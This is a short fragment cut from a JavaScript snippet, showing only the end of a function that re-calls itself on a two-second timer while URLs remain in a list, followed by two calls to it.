urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();